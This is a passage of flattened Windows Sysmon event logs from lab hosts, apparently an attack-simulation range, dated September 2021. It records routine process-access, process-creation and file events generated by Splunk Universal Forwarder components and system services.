Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000017131Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.299{625C326B-738B-613B-1705-00000000F101}27364004C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000017130Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:33.511{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50336-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000017129Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-738B-613B-1705-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017128Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017127Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017126Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017125Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017124Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-738B-613B-1705-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017123Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017122Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017121Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017120Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017119Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017118Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.065{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-738B-613B-1705-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017117Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.067{625C326B-738B-613B-1705-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017116Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:35.034{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=78FAD06918D0C3E020767C17801855EB,SHA256=FDE2EC83E5028515A7D371FEC31FB68565CC6D40A990BFD5120DAD3AF77ADE50,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:36.686{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F217C3BC27912D9323D4708C8D23B062,SHA256=19756B682EDFEA5EDAA327BD8F3C7AF64E05CED3DAD49F4CC91CCEDF9D8052FA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017161Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.706{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=10076161631277DD302A01FEA622C2DA,SHA256=A82E5F2577BDE27725F9CE84B7C83A7E1EF777DF4C4B26F41E20B1E11132AF24,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017160Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-738C-613B-1905-00000000F101}4092C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017159Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017158Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017157Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017156Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017155Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017154Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017153Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017152Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017151Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:36.456{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017150Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 